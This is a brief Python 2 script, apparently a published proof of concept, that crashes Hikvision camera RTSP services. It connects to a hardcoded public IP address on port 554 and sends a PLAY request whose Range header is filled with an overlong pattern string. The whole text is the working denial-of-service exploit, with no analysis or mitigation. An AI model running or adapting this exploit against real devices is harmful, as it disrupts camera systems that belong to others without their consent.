Hikvision Exploit Denial Service (python)

import socket

HOST = '200.82.175.65'
PORT = 554
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

trigger_pkt =  "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
trigger_pkt += "CSeq: 7\r\n"
trigger_pkt += "Range: npt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\r\n"
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n"

s.sendall(trigger_pkt)
print "Packet sent"
data = s.recv(1024)
print 'Received', repr(data), "\r\n"
s.close()